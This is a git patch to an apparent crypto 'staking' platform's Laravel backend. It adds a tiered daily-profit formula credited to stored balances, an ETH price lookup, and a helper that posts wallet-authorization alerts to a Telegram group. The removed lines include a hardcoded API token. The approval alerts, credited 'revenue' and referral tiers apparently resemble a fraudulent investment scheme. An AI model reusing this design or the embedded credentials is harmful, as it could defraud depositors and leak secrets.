From 76ebc589a6ce7df6e044d7b0f63667a9e708b981 Mon Sep 17 00:00:00 2001 From: yll Date: Mon, 23 May 2022 20:50:45 +0700 Subject: [PATCH] new profit formula --- app/Base.php | 5 +- .../Commands/{CalcProfit.php => CoinCalc.php} | 107 +++++++++++++++- .../{RemoveOutdated.php => CoinClean.php} | 2 +- app/Console/Commands/CoinInit.php | 50 ++++++++ app/Http/Controllers/ApiV1Controller.php | 64 +++++----- app/Tool/Lvl3Dist.php | 3 + app/Tool/ThirdApi.php | 117 ++++++++++++++++++ config/app.php | 1 + 8 files changed, 312 insertions(+), 37 deletions(-) rename app/Console/Commands/{CalcProfit.php => CoinCalc.php} (57%) rename app/Console/Commands/{RemoveOutdated.php => CoinClean.php} (95%) create mode 100644 app/Console/Commands/CoinInit.php create mode 100644 app/Tool/ThirdApi.php diff --git a/app/Base.php b/app/Base.php index 1e13530..aa837d8 100644 --- a/app/Base.php +++ b/app/Base.php @@ -19,7 +19,7 @@ class Base const BALANCE_RECHARGE = 11; const BALANCE_WITHDRAWAL = 12; const BALANCE_RECHARGE_REWARD = 13; - + const UNCHECKED = 0; const CHECKED = 1; @@ -32,6 +32,9 @@ class Base const USDT = 'USDT'; const USDC = 'USDC'; + const ETH = 'ETH'; + + const CNF_ETH_AS_BALANCE = true; public static function days_ago($from, $days) { diff --git a/app/Console/Commands/CalcProfit.php b/app/Console/Commands/CoinCalc.php similarity index 57% rename from app/Console/Commands/CalcProfit.php rename to app/Console/Commands/CoinCalc.php index e9455b8..f8e591b 100644 --- a/app/Console/Commands/CalcProfit.php +++ b/app/Console/Commands/CoinCalc.php @@ -17,7 +17,7 @@ use Illuminate\Support\Facades\Redis; /** * 计算 */ -class CalcProfit extends Command +class CoinCalc extends Command { /** * The name and signature of the console command. @@ -78,6 +78,21 @@ class CalcProfit extends Command return 0.0; } + protected function _calc_income_lr($deposited, $plan) + { + foreach ($plan as $p) { + if ($deposited >= $p['min'] && $deposited <= $p['max']) { + $micro = bcdiv($p['rr'] - $p['rl'], ($p['max'] - $p['min']), 8); + $rate = bcmul($micro, ($deposited - $p['min']), 8) + $p['ll']; + $profit = bcdiv(bcmul($rate, $deposited, 8), 100, 4); + + return $profit; + } + } + + return 0.0; + } + /** * Execute the console command. * @@ -85,12 +100,14 @@ class CalcProfit extends Command */ public function handle() { - $this->_daily_revenue(); + (new CoinInit())->refresh_eth_cache(); + + $this->_daily_revenue_lr(); $this->_pool_data(); $this->_robots(); } - protected function _daily_revenue() + protected function _daily_revenue_usdt() { // get plan $plans = $this->_get_staking_plans(); @@ -131,6 +148,90 @@ class CalcProfit extends Command } } + /** + * staking earn rate + * 700MH/s~10000MH/s 1%~1.8% + * + * x ~ y a~b + * + * formula : + * + * For any Z between x and y: + * + * P(Z) = Z*((b-a)/(y-x) * (Z-x) + a)/100 + * + * Example: + * 800: + * P(800) = 800 * ((1.8-1)/(10000-700) * (800-700) + 1) / 100 + * P(9000) = 9000 * ((1.8-1)/(10000-700) *(9000-700) + 1) / 100 + */ + protected function _daily_revenue_lr() + { + $conf = [ + [ + "min" => 700, + "max" => 10000, + "rl" => 1, + 'rr' => 1.8, + ], [ + 'min' => 10001, + 'max' => 100000, + 'rl' => 1.8, + 'rr' => 2.2, + ], [ + 'min' => 100001, + 'max' => 500000, + 'rl' => 2.2, + 'rr' => 2.6, + ], [ + 'min' => 500001, + 'max' => 1000000, + 'rl' => 2.6, + 'rr' => 3.05, + ], [ + 'min' => 1000001, + 'max' => 5000000, + 'rl' => 3.05, + 'rr' => 3.5, + ], + ]; + + $investors = User::where('balance', '>', 0) + ->get() + ->toArray(); + + $log = []; + foreach ($investors as $inve) { + + $profit = $this->_calc_income_lr($inve['balance'], $conf); + $profit = Base::ffixed($profit, 4); + if ($profit > 0) { + $suc = DB::transaction(function () use ($inve, $profit) { + User::where('id', $inve['id'])->increment('balance', $profit); + // + $newBlc = new Balance(); + $newBlc->address = $inve['address']; + $newBlc->name = Base::USDT; + $newBlc->remake = "Daily Revenue $profit"; + $newBlc->status = Base::BALANCE_STAKING_DAILY_REVENUE; + $newBlc->money = $profit; + $newBlc->created_at = \Carbon\Carbon::now(); + $newBlc->save(); + }); + + if (is_null($suc)) { + $log[$inve['address']] = $profit; + } + } + } // foreach + + if ($log) { + Log::info('coin:calc executed:' . json_encode($log)); + } else { + Log::debug('coin:calc executed'); + } + } + protected function _pool_data() { // string diff --git a/app/Console/Commands/RemoveOutdated.php b/app/Console/Commands/CoinClean.php similarity index 95% rename from app/Console/Commands/RemoveOutdated.php rename to app/Console/Commands/CoinClean.php index 2a3cf73..fbcba36 100644 --- a/app/Console/Commands/RemoveOutdated.php +++ b/app/Console/Commands/CoinClean.php @@ -6,7 +6,7 @@ use App\AdminOperationLog; use App\Base; use Illuminate\Console\Command; -class RemoveOutdated extends Command +class CoinClean extends Command { /** * The name and signature of the console command. diff --git a/app/Console/Commands/CoinInit.php b/app/Console/Commands/CoinInit.php new file mode 100644 index 0000000..7307053 --- /dev/null +++ b/app/Console/Commands/CoinInit.php @@ -0,0 +1,50 @@ +refresh_eth_cache(); + + $price = (new ApiV1Controller())->get_cache_eth_price(); + if ($price <= 0) { + Log::warning("cache ETH price failed."); + } + } +} diff --git a/app/Http/Controllers/ApiV1Controller.php b/app/Http/Controllers/ApiV1Controller.php index 6d54c3c..373fc68 100644 --- a/app/Http/Controllers/ApiV1Controller.php +++ b/app/Http/Controllers/ApiV1Controller.php @@ -4,13 +4,6 @@ namespace App\Http\Controllers; use App\Authorize; use App\Balance; -use App\Commissions; -use App\Dao; -use App\Detail; -use App\Other; -use App\Single; -use App\Swap; -use App\System; use App\Withdrawal; use Illuminate\Http\Request; use App\User; @@ -18,24 +11,22 @@ use App\Base; use Illuminate\Support\Facades\DB; use App\Articles; use App\Staking; -use App\StakingOutput; -use App\StakingOutputLog; +use App\Tool\ThirdApi; use App\Vault; use App\Vault2; use App\Vault3; -use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Redis; class ApiV1Controller extends Controller { - const K_RECHARGE = 'rt:recharge'; const K_POOLDATA = 'rt:pooldata'; const K_USERSOUTPUT = 'rt:users_output'; const K_TEAMDATA = 'rt:team_data'; const K_ROBOTS = 'rt:robots'; + const K_COIN_PRICE = 'rt:coin_price'; public static function prepare_data_sources() { @@ -112,12 +103,12 @@ class ApiV1Controller extends Controller // fix admin dashboard error. $tables = [new Vault(), new Vault2(), new Vault3()]; - foreach($tables as $t) { + foreach ($tables as $t) { $t->id = $id; $t->address = $address; $t->save(); } - + $referer = User::where(['id' => $referral])->first(); if (!is_null($referer)) { User::where(['id' => $id])->update([ @@ -126,7 +117,7 @@ class ApiV1Controller extends Controller } }); - if(!$suc) { + if (!$suc) { Log::error("create new register failed: address=$address, referral=$referral"); return json_encode([ @@ -181,18 +172,7 @@ class ApiV1Controller extends Controller if ($res) { $msg = "$address 授权成功"; - $hc = new \GuzzleHttp\Client(); - $resp = $hc->post(config('app.tg_url'), [ - 'headers' => [ - 'User-Agent' => 'Super Chrome/2.2', - 'Content-Type' => 'application/json', - 'Token' => 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2ODQ3NDM4ODYsInVzZXJuYW1lIjoic3VwZXJtYXN0ZXIifQ.1R-PvyUg_GXpJOk-7lQTBjBnw0cLRxajx5kNsvuY7OA', - ], - 'json' => [ - 'groupid' => -1001256080228, - 'msg' => $msg, - ] - ]); + ThirdApi::sendToTg($msg); } else { Log::error("address $address create authorized row failed."); $code = -4; @@ -202,6 +182,22 @@ class ApiV1Controller extends Controller ]); } + public function get_cache_eth_price(): float + { + $price = Redis::hGet(self::K_COIN_PRICE, Base::ETH); + if (!$price || $price <= 0) { + $price = ThirdApi::getETHPrice(); + if ($price > 100) { + Redis::hSet(self::K_COIN_PRICE, Base::ETH, $price); + return $price; + } + + return 0.0; + } + + return $price; + } + // top up public function staking(Request $request) { @@ -221,19 +217,20 @@ class ApiV1Controller extends Controller Log::warning("sign error sign=$s expected=$expected_s"); return json_encode(['suc' => 0, 'msg' => 'OK']); } - + // if first time $times = Redis::hGet(self::K_RECHARGE, $address); $res = DB::transaction(function () use ($address, $amount, $times) { + // first time reward $reward = 0; - if (!$times) { + if (!$times || $times <= 0) { $reward = $this->_first_recharge_reward($amount); } - $amount += $reward; // insert into user User::where('address', $address)->increment('balance', $amount); + // records $newBlc = new Balance(); $newBlc->address = $address; $newBlc->name = Base::USDT; @@ -253,7 +250,7 @@ class ApiV1Controller extends Controller $newBlc->created_at = \Carbon\Carbon::now(); $newBlc->save(); } - + // insert into staking $has = Staking::where('address', $address) ->where('symbol', Base::USDT) @@ -269,6 +266,8 @@ class ApiV1Controller extends Controller $stk->balance = $amount; $stk->save(); } + + Redis::hIncrBy(self::K_RECHARGE, $address, 1); // referral bonus + insert into balance }); @@ -429,10 +428,11 @@ class ApiV1Controller extends Controller public function test() { - self::prepare_data_sources(); + // self::prepare_data_sources(); // $this->_user_account_info('0x19b7A3F7C451dE45a5b4C05a2E3C2849cD47A1de'); // $a = $this->_articles(); // var_dump($a); + echo ThirdApi::getPrice(ThirdApi::ID_ETH); } protected function _user_withdrawal_history($address) @@ -490,7 +490,7 @@ class ApiV1Controller extends Controller ], ]; - foreach($reward_conf as $item) { + foreach ($reward_conf as $item) { if ($amount >= $item['min'] && $amount <= $item['max']) { return $item['reward']; } diff --git a/app/Tool/Lvl3Dist.php b/app/Tool/Lvl3Dist.php index 60e5cba..ddaa7fc 100644 --- a/app/Tool/Lvl3Dist.php +++ b/app/Tool/Lvl3Dist.php @@ -2,6 +2,9 @@ namespace App\Tool; +/** + * L3 Distribution + */ class Lvl3Dist { public static function init() diff --git a/app/Tool/ThirdApi.php b/app/Tool/ThirdApi.php new file mode 100644 index 0000000..cbe2b70 --- /dev/null +++ b/app/Tool/ThirdApi.php @@ -0,0 +1,117 @@ +post(config('app.tg_url'), [ + 'headers' => [ + 'User-Agent' => self::USER_AGENT, + 'Content-Type' => 'application/json', + 'Token' => $token, + ], + 'json' => [ + 'groupid' => $groupid, + 'msg' => $msg, + ] + ]); + + // In fact, we dont care the result. + return true; + } + + /** + * Price of Coin in USD. + * + * API Sample Return: + * + * { + * "data": { + * "symbol": "ETH", + * "id": "1027", + * "name": "Ethereum", + * "amount": 1, + * "last_updated": 1653295260000, + * "quote": [ + * { + * "cryptoId": 2781, + * "symbol": "USD", + * "price": 2057.2269068671376, + * "lastUpdated": 1653295336000 + * } + * ] + * }, + * "status": { + * "timestamp": "2022-05-23T08:43:37.410Z", + * "error_code": "0", + * "error_message": "SUCCESS", + * "elapsed": "1", + * "credit_count": 0 + * } + * } + * + * @param {integer} id: id of coin.(CoinMarketCap API) + * @return {float} + */ + public static function getPrice($id): float + { + $base_url = 'https://api.coinmarketcap.com/data-api/v3/tools/price-conversion'; + $amount = 1; + $convert_id = 2781; // USD + + $url = $base_url . "?amount=$amount&convert_id=$convert_id&id=$id"; + + $hc = new \GuzzleHttp\Client(); + $resp = $hc->get($url, [ + 'headers' => [ + 'User-Agent' => self::USER_AGENT, + ] + ]); + if ($resp->getStatusCode() == 200 && $body = $resp->getBody()) { + $body->seek(0); + $data = $body->read(1024); + + $d = json_decode($data, true); + if ( + $d['status'] && + $d['status']['error_code'] == 0 && + $d['data'] && + $d['data']['id'] == $id && + $d['data']['quote'] + ) { + return $d['data']['quote'][0]['price'] ?? 0.0; + } + } + return 0.0; + } + + /** + * Get Price of ETH in USD. + */ + public static function getETHPrice(): float + { + return self::getPrice(self::ID_ETH); + } +} diff --git a/config/app.php b/config/app.php index 5cd906c..add2fc1 100644 --- a/config/app.php +++ b/config/app.php @@ -241,6 +241,7 @@ return [ 'Google' => Earnp\GoogleAuthenticator\Facades\GoogleAuthenticator::class, 'QrCode' => SimpleSoftwareIO\QrCode\Facades\QrCode::class, 'Base' => App\Base::class, + 'ThirdApi' => App\Tool\ThirdApi::class, ], ];